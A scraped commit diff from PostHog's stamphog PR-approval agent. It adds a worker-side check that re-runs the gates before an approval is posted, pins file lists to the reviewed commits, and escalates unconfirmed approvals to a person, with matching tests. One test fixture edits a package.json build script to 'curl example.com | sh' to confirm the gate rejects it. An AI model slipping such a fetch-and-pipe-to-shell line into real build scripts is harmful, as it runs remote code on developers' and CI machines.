:hedgehog: PostHog is the leading platform for building self-driving products. Our developer tools – AI observability, analytics, session replay, flags, experiments, error tracking, logs, and more – capture all the context agents need to diagnose problems, uncover opportunities, and ship fixes. Steer it all from Slack, web, desktop, or the MCP.
Python ab-testingai-analyticsanalyticscdpdata-warehouseexperimentsfeature-flagsjavascriptproduct-analyticspythonreactsession-replaysurveystypescriptweb-analytics
feat(stamphog): check the gates on the worker before posting an approval (#125439)
Georges-Antoine Assi42ecd0088f66
diff --git a/posthog/ownership/github_files.py b/posthog/ownership/github_files.pyindex 92ec16707c19..85a7b676f4cb 100644--- a/posthog/ownership/github_files.py+++ b/posthog/ownership/github_files.py@@ -138,6 +138,11 @@ def _is_blob(entry: dict[str, Any] | None) -> bool:return entry is not None and entry.get("__typename") == "Blob"+def is_absent(text: str) -> bool:+ """True for the value that ``read_files`` returns for a path the commit does not hold."""+ return text == _ABSENT++def _refreshed_installation_token(integration: GitHubIntegrationBase) -> str:"""A newly minted installation token.diff --git a/products/stamphog/AGENTS.md b/products/stamphog/AGENTS.mdindex 0d0685df3d1d..185f97a6095d 100644--- a/products/stamphog/AGENTS.md+++ b/products/stamphog/AGENTS.md@@ -279,6 +279,15 @@ Every input the sandbox reads from its checkout must reach the tree too, or fina`pregate()` decides that finality in the engine, and the server adds the file-list guards in `pregate_skip_reason` (head moved, list truncated, renames).Anything in doubt, and any error, falls through to the full review.+The sandbox runs over a PR-controlled checkout, and nothing authenticates its stdout, so `post_verdict` never posts an approval on the sandbox's report alone.+Before the approve branch, `_attest_gates` runs `review_local.py --attest` on the worker in the same tree as the pre-check, and a run that does not attest is posted as ESCALATE.+The check reads the file list from a compare pinned to the merge base and the reviewed head, never from `get_pr_files`, which answers for whatever head is live.+It reads each dependency manifest at both commits as a git blob, so the scripts scan runs without a checkout and sees a symlink as its link text, as `git show` does.+Never read them through the contents API, which follows an in-repo symlink to its target.+Every input the worker cannot confirm fails the check: a file list GitHub may have cut short, one that differs from the stored list, unread folder files or manifests, or an engine error.+A retry of `post_verdict` reuses the stored answer, because a second check that attests would post an approval over a delivered escalation.+A new path to an approval must go through this check too.+A pending `Migration risk` check returns WAIT rather than falling through to a refusal, because arefusal costs a trigger-label strip, and a ReviewHog handoff on a self-driving PR, over what is arace with CI. It can't reuse `Pipeline._only_pending_migration_check`: that method disqualifies ondiff --git a/products/stamphog/backend/logic/engine_pregate.py b/products/stamphog/backend/logic/engine_pregate.pyindex db1cc4d14605..1bdae1b1ed3c 100644--- a/products/stamphog/backend/logic/engine_pregate.py+++ b/products/stamphog/backend/logic/engine_pregate.py@@ -35,7 +35,7 @@ import structlogfrom posthog.dataclasses import frozenfrom posthog.egress.limiter.policies import Priority-from posthog.ownership.github_files import GitHubFilesFetcher+from posthog.ownership.github_files import GitHubFilesFetcher, is_absentfrom products.stamphog.backend.logic.github_client import StamphogGitHubClient@@ -57,6 +57,8 @@ _OWNERS_SUBDIR = Path("tools") / "owners" / "owners_yaml"# Mirrors _FOLDER_POLICY_FILENAME in the engine's policy.py, which the backend cannot import.FOLDER_POLICY_FILENAME = "AGENT_APPROVALS.md"_FOLDER_POLICY_BUDGET_SECONDS = 10+# post_verdict reads the manifests before it posts, so the reads share one budget well inside its timeout.+_MANIFEST_BUDGET_SECONDS = 20# Well past the ancestor directories of any real PR, and small enough to stay one or two probes._MAX_FOLDER_POLICY_CANDIDATES = 300# The files ride in run.output. A real folder file is a few hundred bytes of frontmatter and prose.@@ -85,6 +87,18 @@ class PregateOutcome:not_final_reason: str = ""+@frozen+class GateAttestation:+ # True only when the worker's own gate run allows the sandbox's approval to stand.+ attested: bool+ # The first condition that failed, or empty when attested.+ reason: str+ gates: list[dict]+ # The manifests whose texts the engine needs for the scripts scan, when the reason is+ # ``dependency_manifest``.+ manifests: tuple[str, ...] = ()++def pregate_skip_reason(pr: Mapping[str, object], files: list[dict], head_sha: str) -> str | None:"""Why the stored context cannot stand in for the sandbox's own file list, or None when it can.@@ -168,6 +182,39 @@ def fetch_folder_policy_files(return None+def fetch_manifest_contents(+ client: StamphogGitHubClient, repo: str, base_sha: str, head_sha: str, paths: tuple[str, ...]+) -> dict[str, dict[str, str]] | None:+ """Each manifest's text at the merge base and at the head, or None when they are unknown.++ It reads git blobs over GraphQL, one batch per commit, so a symlink reads as its link text, the+ same text `git show` gives the sandbox's scan. The contents API would follow the link instead.+ A path absent at one commit reads as empty, as in that scan. Never raises.+ """+ deadline = time.monotonic() + _MANIFEST_BUDGET_SECONDS+ try:+ fetcher = GitHubFilesFetcher.from_token(+ client.installation_token(),+ installation_id=client.installation_id,+ refresh=client.refresh_installation_token,+ priority=Priority.NORMAL,+ )+ base_texts = fetcher.read_files(repo, base_sha, paths, deadline)+ head_texts = fetcher.read_files(repo, head_sha, paths, deadline)+ except Exception:+ logger.warning("stamphog_manifest_fetch_failed", repo=repo, exc_info=True)+ return None++ def text(value: str) -> str:+ return "" if is_absent(value) else value++ return {+ path: {"base": text(base_texts[path]), "head": text(head_texts[path])}+ for path in paths+ if path in base_texts and path in head_texts+ }++def engine_source_files() -> dict[str, str]:"""The engine's Python modules and its shipped default policy files, by path under the engine directory."""if not ENGINE_DIR.is_dir():@@ -244,16 +291,9 @@ def _parse_outcome(stdout: str) -> PregateOutcome:)-def run_engine_pregate(- context: Mapping[str, object], policy_files: Mapping[str, str], *, environment: Mapping[str, str]-) -> PregateOutcome:- """Run ``review_local.py --pregate`` on ``context`` under ``policy_files`` and parse its answer.-- ``policy_files`` maps repo-relative paths to the effective trusted policy, the same set the- sandbox injects, plus any folder files from ``fetch_folder_policy_files``. ``environment`` is added to the child's otherwise empty environment: pass the- analytics keys only on the run whose result is posted, so the engine emits its- ``stamphog_review_completed`` event once.- """+def _run_engine_gates_only(+ context: Mapping[str, object], policy_files: Mapping[str, str], mode_flag: str, environment: Mapping[str, str]+) -> str:with tempfile.TemporaryDirectory(prefix="stamphog-pregate-") as temp_dir:root = Path(temp_dir)_write_tree(root, policy_files)@@ -266,7 +306,7 @@ def run_engine_pregate(str(root / _ENGINE_SUBDIR / "review_local.py"),"--context",str(context_path),- "--pregate",+ mode_flag,],cwd=root,env=_child_environment(root, environment),@@ -276,8 +316,44 @@ def run_engine_pregate(check=False,)except subprocess.TimeoutExpired as exc:- raise EnginePregateError("the engine pre-check timed out") from exc+ raise EnginePregateError(f"the engine {mode_flag} run timed out") from excif completed.returncode != 0:# Only the exit code: stderr can quote the PR title or file names, and callers log this text.- raise EnginePregateError(f"the engine pre-check exited with code {completed.returncode}")- return _parse_outcome(completed.stdout)+ raise EnginePregateError(f"the engine {mode_flag} run exited with code {completed.returncode}")+ return completed.stdout+++def run_engine_pregate(+ context: Mapping[str, object], policy_files: Mapping[str, str], *, environment: Mapping[str, str]+) -> PregateOutcome:+ """Run ``review_local.py --pregate`` on ``context`` under ``policy_files`` and parse its answer.++ ``policy_files`` maps repo-relative paths to the effective trusted policy, the same set the+ sandbox injects, plus any folder files from ``fetch_folder_policy_files``. ``environment`` is added to the child's otherwise empty environment: pass the+ analytics keys only on the run whose result is posted, so the engine emits its+ ``stamphog_review_completed`` event once.+ """+ return _parse_outcome(_run_engine_gates_only(context, policy_files, "--pregate", environment))+++def run_engine_attest(context: Mapping[str, object], policy_files: Mapping[str, str]) -> GateAttestation:+ """Run ``review_local.py --attest`` on ``context`` under ``policy_files`` and parse its answer.++ It takes the same inputs as ``run_engine_pregate``. It emits no analytics event.+ """+ stdout = _run_engine_gates_only(context, policy_files, "--attest", {})+ lines = [line for line in stdout.splitlines() if line.strip()]+ try:+ parsed = json.loads(lines[-1]) if lines else None+ except json.JSONDecodeError as exc:+ raise EnginePregateError("the engine attestation printed no JSON result") from exc+ if not isinstance(parsed, dict):+ raise EnginePregateError("the engine attestation result is not an object")+ gates = parsed.get("gates")+ manifests = parsed.get("manifests")+ return GateAttestation(+ attested=parsed.get("attested") is True,+ reason=str(parsed.get("reason") or ""),+ gates=[gate for gate in gates if isinstance(gate, dict)] if isinstance(gates, list) else [],+ manifests=tuple(str(path) for path in manifests) if isinstance(manifests, list) else (),+ )diff --git a/products/stamphog/backend/logic/github_client.py b/products/stamphog/backend/logic/github_client.pyindex 5a5b8fa2a7e9..652e073b01f2 100644--- a/products/stamphog/backend/logic/github_client.py+++ b/products/stamphog/backend/logic/github_client.py@@ -100,6 +100,8 @@ _MAX_PAGES = 20_PER_PAGE = 100# GitHub lists at most 250 commits for a pull request, which is three pages of _PER_PAGE._MAX_PR_COMMIT_PAGES = 3+# GitHub's limit on the files that one compare response lists.+_MAX_COMPARE_FILES = 300# Ceiling on a single compare diff. The value sits well above any diff that stamphog could have# approved, because stamphog's size gate refuses much smaller diffs. It also sits well below the@@ -848,6 +850,30 @@ class StamphogGitHubClient:merge_base_sha=str((merge_base or {}).get("sha") or "") if isinstance(merge_base, dict) else "",)+ def compare_files(self, repo: str, base_sha: str, head_sha: str) -> list[dict] | None:+ """The changed files between two commits, or None when GitHub may have cut the list short.++ Both ends are commit shas, so the list belongs to those two commits. ``get_pr_files`` answers+ for whichever head is live when the request runs. The list is in the ``get_pr_files`` shape,+ renames included. GitHub returns at most ``_MAX_COMPARE_FILES`` files and does not page them,+ so a list of that length can be incomplete.+ """+ path = f"/repos/{repo}/compare/{base_sha}...{head_sha}"+ # The files come with the first page of commits whatever its size.+ response = self._request(+ "GET", path, endpoint="/repos/{owner}/{repo}/compare/{basehead}", params={"per_page": 1}+ )+ if response.status_code != 200:+ raise StamphogGitHubError(+ f"Failed to compare {base_sha}...{head_sha} in {repo}: {response.text[:300]}",+ status_code=response.status_code,+ )+ data = self._json(response, path)+ files = data.get("files") if isinstance(data, dict) else None+ if not isinstance(files, list) or len(files) >= _MAX_COMPARE_FILES:+ return None+ return [file for file in files if isinstance(file, dict)]+def get_pr_reviews(self, repo: str, number: int) -> list[dict]:"""Fetch the PR's top-level reviews, paginating through GitHub's list endpoint.diff --git a/products/stamphog/backend/temporal/activities.py b/products/stamphog/backend/temporal/activities.pyindex 8043f0692635..254496c8e3d6 100644--- a/products/stamphog/backend/temporal/activities.py+++ b/products/stamphog/backend/temporal/activities.py@@ -30,7 +30,7 @@ import contextvarsfrom collections.abc import Callable, Iterator, Sequencefrom concurrent.futures import Future, ThreadPoolExecutorfrom contextlib import contextmanager-from dataclasses import dataclass, field+from dataclasses import dataclass, field, replacefrom datetime import UTC, datetime, timedeltafrom email.utils import parsedate_to_datetimefrom pathlib import PurePosixPath@@ -76,11 +76,14 @@ from products.stamphog.backend.logic.approvals import dismiss_stale_approvals_fofrom products.stamphog.backend.logic.audiences import resolve_audiencesfrom products.stamphog.backend.logic.engine_pregate import (ENGINE_DIR,+ GateAttestation,PregateOutcome,engine_source_files,fetch_folder_policy_files,+ fetch_manifest_contents,owners_package_files,pregate_skip_reason,+ run_engine_attest,run_engine_pregate,)from products.stamphog.backend.logic.familiarity_facts import ReviewHistory, fetch_review_history@@ -133,6 +136,8 @@ _ENGINE_RELATIVE_DIR = PurePosixPath(STAMPHOG_SANDBOX_ENGINE_DIR).relative_to(ST_OWNERS_RELATIVE_DIR = PurePosixPath(STAMPHOG_SANDBOX_OWNERS_DIR).relative_to(STAMPHOG_SANDBOX_REPO_DIR).as_posix()_OWNERS_PACKAGE_RELATIVE_DIR = f"{_OWNERS_RELATIVE_DIR}/owners_yaml"_CONTEXT_RELATIVE_PATH = PurePosixPath(STAMPHOG_SANDBOX_CONTEXT_PATH).relative_to(STAMPHOG_SANDBOX_REPO_DIR).as_posix()+# The worker reads each manifest's full text inside post_verdict. A PR past this escalates instead.+_MAX_ATTESTED_MANIFESTS = 10# The context reads are a dozen GitHub round trips plus the familiarity reads, which run their own pool.@@ -1014,14 +1019,9 @@ def _save_pregate_outcome(run: ReviewRun, pregate_outcome: str) -> None:_merge_run_output(run, {"pregate_outcome": pregate_outcome})-def _refuse_on_pre_gates(run: ReviewRun) -> dict:+def _engine_gate_inputs(run: ReviewRun) -> tuple[dict, dict[str, str]]:+ """The engine context and the tree's policy files for a gate-only run on the worker."""output = run.output or {}- skip_reason = pregate_skip_reason(output.get("pr") or {}, output.get("files") or [], run.head_sha)- if skip_reason is not None:- activity.logger.info(f"Run {run.id}: pre-gates skipped ({skip_reason})")- _save_pregate_outcome(run, f"skipped:{skip_reason}")- return {"refused": False, "skipped": skip_reason}-context = json.loads(_review_invocation(run, output.get("merge_base_sha")).context_json)# The same trusted set the sandbox injects, so both runs judge the PR under the same policy.policy_files = _effective_policy_files(run.pull_request.repo_config.repository, output.get("policy_files", {}))@@ -1029,6 +1029,85 @@ def _refuse_on_pre_gates(run: ReviewRun) -> dict:if isinstance(folder_policy_files, dict):policy_files = {**policy_files, **folder_policy_files}context["folder_policies_known"] = True+ return context, policy_files+++@frozen+class _FileEntry:+ filename: str | None+ previous_filename: str | None+++def _file_entries(files: list[dict]) -> set[_FileEntry]:+ return {+ _FileEntry(filename=file.get("filename"), previous_filename=file.get("previous_filename")) for file in files+ }+++def _attest_gates(run: ReviewRun, client: StamphogGitHubClient) -> GateAttestation:+ """The worker's own gate run for an approval that the sandbox reported.++ Nothing authenticates the sandbox's stdout, so its gate results do not decide an approval. Any+ input the worker cannot confirm, and any error, gives an unattested result.+ """+ output = run.output or {}+ pr = output.get("pr") or {}+ merge_base_sha = output.get("merge_base_sha") or ""+ if (pr.get("head") or {}).get("sha") != run.head_sha:+ return GateAttestation(attested=False, reason="head_moved", gates=[])+ if not merge_base_sha:+ return GateAttestation(attested=False, reason="merge_base_unknown", gates=[])+ repo = run.pull_request.repo_config.repository+ try:+ # The stored list came from get_pr_files, which answers for whatever head is live, so a push+ # between two fetches can leave another head's files there. The compare is pinned to the+ # reviewed commits. The folder files were read for the stored list's filenames, so the two+ # must match entry for entry: a rename split into a deletion and an addition adds a filename.+ pinned_files = client.compare_files(repo, merge_base_sha, run.head_sha)+ if pinned_files is None:+ return GateAttestation(attested=False, reason="file_list_incomplete", gates=[])+ if _file_entries(pinned_files) != _file_entries(output.get("files") or []):+ return GateAttestation(attested=False, reason="file_list_moved", gates=[])+ context, policy_files = _engine_gate_inputs(run)+ context["files"] = pinned_files+ attestation = run_engine_attest(context, policy_files)+ if attestation.reason == "dependency_manifest" and 0 < len(attestation.manifests) <= _MAX_ATTESTED_MANIFESTS:+ manifest_contents = fetch_manifest_contents(+ client, repo, merge_base_sha, run.head_sha, attestation.manifests+ )+ if manifest_contents is not None:+ context["manifest_contents"] = manifest_contents+ attestation = run_engine_attest(context, policy_files)+ return attestation+ except Exception:+ activity.logger.exception(f"Run {run.id}: gate attestation failed")+ return GateAttestation(attested=False, reason="error", gates=[])+++def _unattested_approval(parsed: ReviewerVerdict, attestation: GateAttestation) -> ReviewerVerdict:+ """The verdict to post when the worker cannot confirm the gates that a sandbox approval needs."""+ return replace(+ parsed,+ verdict=ReviewVerdict.ESCALATE,+ showstoppers=[+ *parsed.showstoppers,+ "Stamphog could not confirm its own checks for this PR, so a person needs to review it.",+ ],+ # The engine rendered this body for an approval, so _verdict_body builds one from the fields above.+ review_body="",+ gate_result={**parsed.gate_result, "attestation": {"reason": attestation.reason, "gates": attestation.gates}},+ )+++def _refuse_on_pre_gates(run: ReviewRun) -> dict:+ output = run.output or {}+ skip_reason = pregate_skip_reason(output.get("pr") or {}, output.get("files") or [], run.head_sha)+ if skip_reason is not None:+ activity.logger.info(f"Run {run.id}: pre-gates skipped ({skip_reason})")+ _save_pregate_outcome(run, f"skipped:{skip_reason}")+ return {"refused": False, "skipped": skip_reason}++ context, policy_files = _engine_gate_inputs(run)timer = _StepTimer()# No analytics env on this first run: it only decides, and the posted run below emits the event.with timer.step("pregate"):@@ -1834,6 +1913,36 @@ def post_verdict(input: StamphogReviewInput) -> dict:activity.logger.info(f"Skipping verdict for run {run.id}: superseded during posting")return {"verdict": "skipped_superseded"}+ # A retry after the approval posted skips this, because the gates attested before that post.+ if parsed.verdict == ReviewVerdict.APPROVED and not parsed.gate_blocked and run.posted_review_id is None:+ stored = output.get("gate_attestation")+ if isinstance(stored, dict):+ # A retry reuses the first answer. Another check could attest where the first did not,+ # and post an approval over the escalation that the first attempt already delivered.+ attestation = GateAttestation(+ attested=stored.get("attested") is True,+ reason=str(stored.get("reason") or ""),+ gates=list(stored.get("gates") or []),+ )+ else:+ attestation = _attest_gates(run, client)+ _merge_run_output(+ run,+ {+ "gate_attestation": {+ "attested": attestation.attested,+ "reason": attestation.reason,+ "gates": attestation.gates,+ }+ },+ )+ if not attestation.attested:+ if attestation.reason == "gate_failed":+ # The sandbox reported every gate passed, so its output disagrees with the worker's.+ activity.logger.warning(f"Run {run.id}: sandbox approval failed the worker's gates")+ parsed = _unattested_approval(parsed, attestation)+ run.gate_result = parsed.gate_result+# Computed before the branch chain because two things must agree on it: the trigger label is only# stripped for a refusal, and only then may the review tell the author to re-add it.is_refusal = parsed.verdict in (ReviewVerdict.REFUSED, ReviewVerdict.ESCALATE)diff --git a/products/stamphog/backend/tests/conftest.py b/products/stamphog/backend/tests/conftest.pyindex a6663333841f..1f492eff4861 100644--- a/products/stamphog/backend/tests/conftest.py+++ b/products/stamphog/backend/tests/conftest.py@@ -16,6 +16,7 @@ from cryptography.hazmat.primitives.asymmetric import rsafrom posthog.models.scoping import team_scopefrom posthog.temporal.common.errors import describe_failure+from products.stamphog.backend.logic.engine_pregate import GateAttestationfrom products.stamphog.backend.temporal.activities import (MarkReviewFailedInput,ReviewSandboxInput,@@ -209,6 +210,9 @@ class StamphogChain:# The fake sandbox class itself, so a test can script failure modes (destroy_error) and read# captured create() configs (created_configs). Typed Any: the class attrs are fake-only.sandbox_class: Any+ # The worker's own gate check before an approval. The fake PRs carry no complete file list or+ # folder files, so it attests by default, and a test sets ``return_value`` to refuse.+ attest_gates: MagicMockdef post_webhook(self, payload: dict[str, Any], *, delivery_id: str) -> int:body = fakes.encode(payload)@@ -312,6 +316,16 @@ def stamphog_chain() -> Iterator[StamphogChain]:side_effect=RuntimeError("no gateway in tests"),))+ attest_gates = stack.enter_context(+ patch(+ "products.stamphog.backend.temporal.activities._attest_gates",+ return_value=GateAttestation(attested=True, reason="", gates=[]),+ )+ )yield StamphogChain(- recorder=recorder, client=Client(), sandbox_writes=sandbox_writes, sandbox_class=fake_sandbox+ recorder=recorder,+ client=Client(),+ sandbox_writes=sandbox_writes,+ sandbox_class=fake_sandbox,+ attest_gates=attest_gates,)diff --git a/products/stamphog/backend/tests/fakes.py b/products/stamphog/backend/tests/fakes.pyindex 5abcce612d29..2db60d0b4d58 100644--- a/products/stamphog/backend/tests/fakes.py+++ b/products/stamphog/backend/tests/fakes.py@@ -187,6 +187,10 @@ class GitHubRecorder:self.repo_files: dict[tuple[str, str], str] = {}# (repo, path) -> link target, for a symlink the contents API reports as a symlink object.self.repo_symlinks: dict[tuple[str, str], str] = {}+ # (path, ref) -> text, for a file whose contents differ between two commits.+ self.files_at_ref: dict[tuple[str, str], str] = {}+ # The files every compare lists, for a caller that pins a PR's file list to two commits.+ self.compare_files: list[dict] = []# Repositories with no commits at all. GitHub answers their head lookup with a null# defaultBranchRef, which is what a freshly created connected repo looks like.self.empty_repositories: set[str] = set()@@ -232,7 +236,9 @@ class GitHubRecorder:if method == "GET" and path == "/search/issues":return self._search_issues(params)if method == "GET" and _COMPARE_RE.match(path):- return FakeResponse(200, json_data={"merge_base_commit": {"sha": self.merge_base_sha}})+ return FakeResponse(+ 200, json_data={"merge_base_commit": {"sha": self.merge_base_sha}, "files": self.compare_files}+ )if method == "GET" and _CHECK_RUNS_RE.match(path):return FakeResponse(200, json_data={"check_runs": []})if method == "GET" and (m := _COLLABORATOR_PERMISSION_RE.match(path)):@@ -249,7 +255,7 @@ class GitHubRecorder:return self._remove_reaction(m.group("repo"), int(m.group("number")), int(m.group("rid")))if method == "GET" and (m := _CONTENTS_RE.match(path)):raw = "raw" in (kwargs.get("headers") or {}).get("Accept", "")- return self._get_contents(m.group("repo"), m.group("path"), raw=raw)+ return self._get_contents(m.group("repo"), m.group("path"), raw=raw, ref=str(params.get("ref") or ""))if method == "POST" and path == "/graphql":return self._graphql(json_body or {})if method == "GET" and (m := _REVIEWS_RE.match(path)):@@ -301,11 +307,11 @@ class GitHubRecorder:numbers = self.author_merged.get((repo, author), []) if page == 1 else []return FakeResponse(200, json_data={"items": [{"number": n} for n in numbers]})- def _get_contents(self, repo: str, path: str, *, raw: bool = True) -> FakeResponse:+ def _get_contents(self, repo: str, path: str, *, raw: bool = True, ref: str = "") -> FakeResponse:if (repo, path) in self.repo_symlinks:target = self.repo_symlinks[(repo, path)]return FakeResponse(200, json_data={"type": "symlink", "path": path, "target": target})- content = self.repo_files.get((repo, path), self.policy_files.get(path))+ content = self.files_at_ref.get((path, ref), self.repo_files.get((repo, path), self.policy_files.get(path)))if content is None:return FakeResponse(404, text="not found")if not raw:@@ -370,10 +376,11 @@ class GitHubRecorder:for name, expression in variables.items():if name in ("owner", "name"):continue- path = str(expression).split(":", 1)[1]+ commit, path = str(expression).split(":", 1)content = self.repo_files.get((repo, path), self.policy_files.get(path))if (repo, path) in self.repo_symlinks:content = self.repo_symlinks[(repo, path)]+ content = self.files_at_ref.get((path, commit), content)if content is None:field[f"f{name[1:]}"] = Noneelse:diff --git a/products/stamphog/backend/tests/test_integration.py b/products/stamphog/backend/tests/test_integration.pyindex 1656003ba2f5..1022d5a8baf0 100644--- a/products/stamphog/backend/tests/test_integration.py+++ b/products/stamphog/backend/tests/test_integration.py@@ -38,7 +38,7 @@ from products.stamphog.backend.logic.channel_resolution import (build_routing_context,resolve_destination,)-from products.stamphog.backend.logic.engine_pregate import EnginePregateError, pregate_skip_reason+from products.stamphog.backend.logic.engine_pregate import EnginePregateError, GateAttestation, pregate_skip_reasonfrom products.stamphog.backend.logic.github_client import STICKY_COMMENT_MARKER, StamphogGitHubClientfrom products.stamphog.backend.logic.slack_digest import _THREAD_LEADfrom products.stamphog.backend.models import DigestRun, PullRequest, PullRequestAudience, ReviewRun, StamphogRepoConfig@@ -49,6 +49,7 @@ from products.stamphog.backend.temporal.activities import (MarkReviewFailedInput,ReviewSandboxInput,StamphogReviewInput,+ _attest_gates,destroy_review_sandbox,dismiss_stale_approvals,fetch_review_context,@@ -311,10 +312,127 @@ def test_signed_webhook_drives_review_and_posts_approval(assert _external_review_requests(handoff) == [][email protected]_db(databases=PRODUCT_DATABASES)+def test_a_sandbox_approval_the_worker_gates_do_not_confirm_is_escalated(team, stamphog_chain: StamphogChain) -> None:+ repo_config = _repo_config(team.id)+ recorder = stamphog_chain.recorder+ author, head_sha = "devex-dev", "sha102a"+ recorder.register_pr(REPO, 102, _pr_object(102, author, head_sha), [_api_file("src/util.py")])+ stamphog_chain.attest_gates.return_value = GateAttestation(+ attested=False, reason="gate_failed", gates=[{"gate": "deny-list", "passed": False, "message": "denied"}]+ )++ stamphog_chain.post_webhook(_opened_event(102, author, head_sha), delivery_id=str(uuid.uuid4()))++ pr = PullRequest.objects.for_team(team.id).get(repo_config=repo_config, pr_number=102)+ run = ReviewRun.objects.for_team(team.id).filter(pull_request=pr).latest("created_at")+ assert (run.status, run.verdict, run.posted_review_id) == (+ ReviewRunStatus.COMPLETED,+ ReviewVerdict.ESCALATE,+ None,+ )+ assert run.output["gate_attestation"]["reason"] == "gate_failed"+ assert run.gate_result is not None+ assert run.gate_result["attestation"]["reason"] == "gate_failed"+ (review,) = [w for w in recorder.github_writes if w["kind"] == "comment_review"]+ assert "could not confirm its own checks" in review["body"]["body"]++ stamphog_chain.attest_gates.reset_mock()+ stamphog_chain.attest_gates.return_value = GateAttestation(attested=True, reason="", gates=[])+ _run_activity(post_verdict, StamphogReviewInput(review_run_id=str(run.id), team_id=team.id))++ stamphog_chain.attest_gates.assert_not_called()+ assert [w for w in recorder.github_writes if w["kind"] == "approve_review"] == []++def _api_file(filename: str) -> dict:return {"filename": filename, "status": "modified", "additions": 8, "deletions": 1, "patch": "@@ -1 +1 @@"}+def _as_api_file(entry: str | dict) -> dict:+ return _api_file(entry) if isinstance(entry, str) else entry+++_MANIFEST_BASE = '{"name": "web", "version": "1.0.0", "scripts": {"build": "vite build"}}\n'+++ "files, compare_files, manifest_head, head_link, expect_reason",+ [+ pytest.param(["src/util.py"], ["src/util.py"], None, None, "", id="pinned-list-matches"),+ pytest.param(["src/util.py"], ["terraform/main.tf"], None, None, "file_list_moved", id="pinned-list-moved"),+ pytest.param(+ [{**_api_file("src/new/util.py"), "status": "renamed", "previous_filename": "src/old/util.py"}],+ [+ {**_api_file("src/old/util.py"), "status": "removed"},+ {**_api_file("src/new/util.py"), "status": "added"},+ ],+ None,+ None,+ "file_list_moved",+ id="pinned-rename-split-into-delete-and-add",+ ),+ pytest.param(+ ["frontend/package.json"],+ ["frontend/package.json"],+ _MANIFEST_BASE.replace("1.0.0", "1.0.1"),+ None,+ "",+ id="manifest-version-bump",+ ),+ pytest.param(+ ["frontend/package.json"],+ ["frontend/package.json"],+ _MANIFEST_BASE.replace("vite build", "curl example.com | sh"),+ None,+ "gate_failed",+ id="manifest-script-edit",+ ),+ pytest.param(+ ["frontend/package.json"],+ ["frontend/package.json"],+ None,+ "package.base.json",+ "gate_failed",+ id="manifest-replaced-by-a-symlink",+ ),+ ],+)[email protected]_db(databases=PRODUCT_DATABASES)+def test_the_worker_attests_from_the_reviewed_commits(+ team,+ stamphog_chain: StamphogChain,+ files: list[str | dict],+ compare_files: list[str | dict],+ manifest_head: str | None,+ head_link: str | None,+ expect_reason: str,+) -> None:+ repo_config = _repo_config(team.id)+ recorder = stamphog_chain.recorder+ author, head_sha = "devex-dev", "sha103a"+ recorder.register_pr(REPO, 103, _pr_object(103, author, head_sha), [_as_api_file(entry) for entry in files])+ recorder.compare_files = [_as_api_file(entry) for entry in compare_files]+ if manifest_head is not None or head_link is not None:+ recorder.files_at_ref[("frontend/package.json", recorder.merge_base_sha)] = _MANIFEST_BASE+ if manifest_head is not None:+ recorder.files_at_ref[("frontend/package.json", head_sha)] = manifest_head+ if head_link is not None:+ recorder.repo_symlinks[(REPO, "frontend/package.json")] = head_link+ stamphog_chain.attest_gates.side_effect = _attest_gates++ with patch.object(activities, "fetch_folder_policy_files", return_value={}):+ stamphog_chain.post_webhook(_opened_event(103, author, head_sha), delivery_id=str(uuid.uuid4()))++ pr = PullRequest.objects.for_team(team.id).get(repo_config=repo_config, pr_number=103)+ run = ReviewRun.objects.for_team(team.id).filter(pull_request=pr).latest("created_at")+ assert run.output["gate_attestation"]["reason"] == expect_reason+ approvals = [w for w in recorder.github_writes if w["kind"] == "approve_review"]+ assert (run.verdict, len(approvals)) == (+ (ReviewVerdict.APPROVED, 1) if not expect_reason else (ReviewVerdict.ESCALATE, 0)+ )++def _big_api_file(filename: str, additions: int) -> dict:return {**_api_file(filename), "additions": additions, "deletions": 0}diff --git a/products/stamphog/backend/tests/test_policy_defaults.py b/products/stamphog/backend/tests/test_policy_defaults.pyindex ad2df008b659..c69f55b333b7 100644--- a/products/stamphog/backend/tests/test_policy_defaults.py+++ b/products/stamphog/backend/tests/test_policy_defaults.py@@ -17,7 +17,7 @@ sys.path.insert(0, str(_ENGINE_DIR))import gates # noqa: E402import policy # noqa: E402-from products.stamphog.backend.logic.engine_pregate import run_engine_pregate # noqa: E402+from products.stamphog.backend.logic.engine_pregate import run_engine_attest, run_engine_pregate # noqa: E402from products.stamphog.backend.temporal import activities # noqa: E402from products.stamphog.backend.temporal.activities import ( # noqa: E402PullRequestHeadMovedError,@@ -127,6 +127,10 @@ def test_pregate_merges_the_repo_policy_onto_the_shipped_default(path: str, deni})outcome = run_engine_pregate(_pregate_context(path), {STAMPHOG_POLICY_ENTRYPOINT: repo_policy}, environment={})+ attestation = run_engine_attest(_pregate_context(path), {STAMPHOG_POLICY_ENTRYPOINT: repo_policy})+ assert (attestation.attested, attestation.reason) == (+ (True, "") if denied_category is None else (False, "gate_failed")+ )if denied_category is None:assert not outcome.finalassert outcome.not_final_reason == "no_failing_gate"diff --git a/products/stamphog/packages/pr-approval-agent/manifest_risk.py b/products/stamphog/packages/pr-approval-agent/manifest_risk.pyindex db95596e43da..8338f9e10050 100644--- a/products/stamphog/packages/pr-approval-agent/manifest_risk.py+++ b/products/stamphog/packages/pr-approval-agent/manifest_risk.py@@ -5,19 +5,17 @@ their scripts and lifecycle hooks execute in CI and on dev machines. Thereviewer prompt guards that — this module is the deterministic first line,so a scripts edit hard-denies instead of resting solely on LLM judgment.-Parseable manifests are compared structurally (base vs head risky subtrees)-rather than by diff-line matching: editing an existing script's command-produces a changed line keyed by the script's own name, which a line scan-keyed on "scripts"/lifecycle names misses entirely. Line scanning remains-only where key and value share a line (cargo build scripts, go.mod replace-directives). Parse failures fail closed.+Every manifest is compared structurally (base vs head risky subtrees), never+by diff-line matching: editing an existing script's command produces a changed+line keyed by the script's own name, and two diff algorithms can mark different+lines as changed for the same edit, so a line scan answers differently on the+worker and in the checkout. Parse failures fail closed."""-import reimport jsonimport tomllibimport subprocess-from collections.abc import Callable+from collections.abc import Callable, Mappingfrom pathlib import Pathfrom typing import NamedTuple@@ -26,16 +24,7 @@ import yaml# Any change at all to these is execution-bearing — setup.py and Gemfile are# code, and setup.cfg's declarative surface (entry_points, cmdclass) doesn't# justify a parser for how rarely it changes.-_ANY_CHANGE_RISKY = frozenset({"setup.py", "setup.cfg", "gemfile"})--# Key-and-value share a line in go.mod, so a line scan can't be bypassed by-# editing a value without its key appearing in the diff. Only `replace` is-# risky there: a `require` bump without go.sum fails CI deterministically-# (Go defaults to -mod=readonly), so no silent fetch is possible.-_RISKY_LINE_PATTERNS: dict[str, re.Pattern[str]] = {- "go.mod": re.compile(r"^\s*replace[\s(]"),-}-_TSCONFIG_LINE_PATTERN = 